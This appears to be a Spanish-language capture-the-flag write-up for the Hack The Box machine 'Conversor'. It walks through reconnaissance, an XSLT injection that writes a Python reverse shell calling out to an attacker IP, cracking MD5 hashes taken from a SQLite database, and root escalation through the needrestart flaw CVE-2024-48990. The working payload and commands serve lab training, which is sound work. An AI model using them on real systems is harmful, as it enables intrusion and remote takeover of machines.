Descripción
Conversor es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Inyección XSLT en una aplicación web Python Flask llevando a la escritura de archivos en la máquina
- Escritura de archivos en el directorio de scripts lleva a la Ejecución de Comandos Remotos
- Pivote de Usuario recuperando la contraseña del usuario desde una base de datos SQLite
- Escalada de Privilegios mediante la Ejecución de Código Arbitrario con
needrestart
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.129.21.73.
$ ping -c 3 10.129.21.73
PING 10.129.21.73 (10.129.21.73) 56(84) bytes of data.
64 bytes from 10.129.21.73: icmp_seq=1 ttl=63 time=44.1 ms
64 bytes from 10.129.21.73: icmp_seq=2 ttl=63 time=48.2 ms
64 bytes from 10.129.21.73: icmp_seq=3 ttl=63 time=56.3 ms
--- 10.129.21.73 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 44.087/49.527/56.333/5.091 ms
La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurarnos que es una máquina Unix. Ahora vamos a realizar un escaneo de puertos TCP SYN para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.21.73 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.21.73
Host is up (0.043s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 2.07 seconds
Obtenemos dos puertos abiertos: 22 y 80.
Enumeración
Luego realizamos un escaneo más avanzado, con versiones de servicio y scripts.
$ nmap 10.129.21.73 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.21.73
Host is up (0.083s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_ 256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://conversor.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.02 seconds
Obtenemos dos servicios: uno Secure Shell (SSH), y uno Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Parece ser una aplicación web en Python. Añadimos el dominio conversor.htb al archivo /etc/hosts.
$ echo '10.129.21.73 conversor.htb' | sudo tee -a /etc/hosts
Al abrir la página web encontramos una solicitud de inicio de sesión y un enlace para crear una nueva cuenta para utilizar la aplicación. Creamos la cuenta y encontramos la aplicación Conversor, utilizada para convertir la salida de un escaneo Nmap en formato .xml en un .html utilizando una hoja XSLT con un formato estético. También podemos descargar la plantilla XSLT desde el enlace /static/nmap.xslt.
En la pestaña About encontramos un botón para descargar el código fuente de la aplicación desde el archivo /static/source_code.tar.gz.
Descargamos y extraemos el archivo.
$ wget --content-disposition http://conversor.htb/static/source_code.tar.gz
$ tar xvf source_code.tar.gz -C source_code
$ cd source_code
Encontramos las instrucciones para ejecutar la aplicación web en el archivo install.md.
To deploy Conversor, we can extract the compressed file:
"""
tar -xvf source_code.tar.gz
"""
We install flask:
"""
pip3 install flask
"""
We can run the app.py file:
"""
python3 app.py
"""
You can also run it with Apache using the app.wsgi file.
If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.
"""
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
"""
Encontramos los pasos comunes para ejecutar una aplicación web Python Flask, pero encontramos que la máquina remota está configurada utilizando Cron para ejecutar cada minuto cada script Python contenido en la carpeta /var/www/conversor.htb/scripts/. Si podemos encontrar una vulnerabilidad que nos permita escribir archivos en la máquina remota, ganaríamos Ejecución de Comandos Remotos ya que el archivo Python sería ejecutado. El archivo principal de código fuente es el app.py.
En el punto final /convert, que carga los archivos .xml y .xslt y convierte el archivo al formato .html, encontramos una vulnerabilidad de inyección XSLT ya que el analizador XSLT no incluye ninguna protección contra ataques comunes al utilizar la clase XSLTAccessControl. También encontramos que las contraseñas de los usuarios registrados en la plataforma se guardan en una base de datos utilizando el algoritmo MD5.
@app.route('/register', methods=['GET','POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = hashlib.md5(request.form['password'].encode()).hexdigest()
conn = get_db()
...
@app.route('/convert', methods=['POST'])
def convert():
if 'user_id' not in session:
return redirect(url_for('login'))
xml_file = request.files['xml_file']
xslt_file = request.files['xslt_file']
from lxml import etree
xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
xml_file.save(xml_path)
xslt_file.save(xslt_path)
try:
parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
xml_tree = etree.parse(xml_path, parser)
xslt_tree = etree.parse(xslt_path)
transform = etree.XSLT(xslt_tree)
result_tree = transform(xml_tree)
result_html = str(result_tree)
...
Explotación
Podemos utilizar la vulnerabilidad para escribir un script Python que desplegará una terminal inversa hacia nuestra máquina después de abrir un puerto de escucha TCP utilizando el comando nc -nvlp 1234. Encontramos en PayloadAllTheThings que EXSLT (Extensible Stylesheet Language Transformations) es un conjunto de extensiones al lenguaje XSLT (Extensible Stylesheet Language Transformations) y permite la escritura de archivos. Vamos a escribir el archivo malicioso /var/www/conversor.htb/scripts/shell.py.
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit"
version="1.0">
<xsl:template match="/">
<exploit:document href="/var/www/conversor.htb/scripts/shell.py" method="text">
import sys,socket,os,pty
s=socket.socket()
s.connect(("10.10.14.7",1234))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("bash")
</exploit:document>
</xsl:template>
</xsl:stylesheet>
Luego generamos un archivo de escaneo Nmap en formato .xml.
$ nmap 10.129.21.73 -sV -sC -p22,80 -oX nmap_scan_ports.xml
Luego podemos subir los dos archivos a la aplicación y esperar a la ejecución del comando en el minuto siguiente.
Recibimos una terminal inversa como el usuario www-data, la actualizamos.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.7] from (UNKNOWN) [10.129.21.73] 56132
www-data@conversor:~$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@conversor:~$ ^Z
$ stty raw -echo; fg
$ reset xterm
www-data@conversor:~$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156
Post-Explotación
Encontramos la base de datos de la aplicación en la /var/www/conversor.htb/instance/users.db, extraemos los usuarios y sus contraseñas hasheadas.
www-data@conversor:~$ sqlite3 /var/www/conversor.htb/instance/users.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables
files users
sqlite> select * from users;
1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
5|user|5f4dcc3b5aa765d61d8327deb882cf99
Entonces rompemos la contraseña hasheada MD5 ya que la observamos en el código fuente de la aplicación.
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=16
Press 'q' or Ctrl-C to abort, almost any other key for status
Keepmesafeandwarm (fismathack)
1g 0:00:00:01 DONE 0.7936g/s 8708Kp/s 8708Kc/s 8708KC/s Keiser01..Kebiti
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
Encontramos la contraseña Keepmesafeandwarm para el fismathack. Iniciamos sesión utilizando el servicio SSH.
$ ssh fismathack@conversor.htb
fismathack@conversor.htb's password:
...
fismathack@conversor:~$ id
uid=1000(fismathack) gid=1000(fismathack) groups=1000(fismathack)
Encontramos que fismathack solo puede ejecutar un comando como usuario root, needrestart, cuya versión instalada es 3.7.
fismathack@conversor:~$ sudo -l
Matching Defaults entries for fismathack on conversor:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User fismathack may run the following commands on conversor:
(ALL : ALL) NOPASSWD: /usr/sbin/needrestart
fismathack@conversor:~$ sudo /usr/sbin/needrestart --version
needrestart 3.7 - Restart daemons after library updates.
...
needrestart, antes de la versión 3.8, permite a los atacantes locales ejecutar código arbitrario como root al engañar a needrestart para que ejecute el intérprete de Python con una variable de entorno PYTHONPATH controlada por el atacante, CVE-2024-48990. Tenemos un concepto de prueba de la vulnerabilidad creado por makuga01 en GitHub. Vamos a hacer algunas modificaciones del proyecto en nuestra máquina ya que la máquina remota no tiene la aplicación gcc para compilar el archivo fuente C.
$ git clone https://github.com/makuga01/CVE-2024-48990-PoC
$ cd CVE-2024-48990-PoC
Debemos comentar la línea gcc -shared -fPIC -o "$PWD/importlib/__init__.so" lib.c del archivo start.sh para luego compilar el archivo lib.c nosotros mismos.
$ mkdir importlib
$ gcc -shared -fPIC -o "$PWD/importlib/__init__.so" lib.c
Entonces subimos los archivos start.sh, e.py y la carpeta importlib a la máquina remota utilizando la aplicación scp.
$ scp -r ./e.py ./importlib ./start.sh fismathack@conversor.htb:/home/fismathack
Entonces en la máquina remota ejecutamos el script Bash start.sh.
fismathack@conversor:~$ bash start.sh
Error processing line 1 of /usr/lib/python3/dist-packages/zope.interface-5.4.0-nspkg.pth:
Traceback (most recent call last):
File "/usr/lib/python3.10/site.py", line 192, in addpackage
exec(line)
File "<string>", line 1, in <module>
ImportError: dynamic module does not define module export function (PyInit_importlib)
Remainder of file ignored
##########################################
Don't mind the error message above
Waiting for needrestart to run...
Ahora para activar la vulnerabilidad necesitamos ejecutar la aplicación needrestart desde otra terminal como usuario root.
$ ssh fismathack@conversor.htb
fismathack@conversor:~$ sudo needrestart
Scanning processes...
Scanning linux images...
Running kernel seems to be up-to-date.
No services need to be restarted.
No containers need to be restarted.
No user sessions are running outdated binaries.
No VM guests are running outdated hypervisor (qemu) binaries on this host.
Entonces en la primera terminal se desplegará un root, ya que se creó el archivo Bash SUID.
Got the shell!
# id
uid=1000(fismathack) gid=1000(fismathack) euid=0(root) groups=1000(fismathack)
Flags
En la terminal root podemos recuperar las flags user.txt y root.txt.
# cat /home/fismathack/user.txt
<REDACTED>
# cat /root/root.txt
<REDACTED>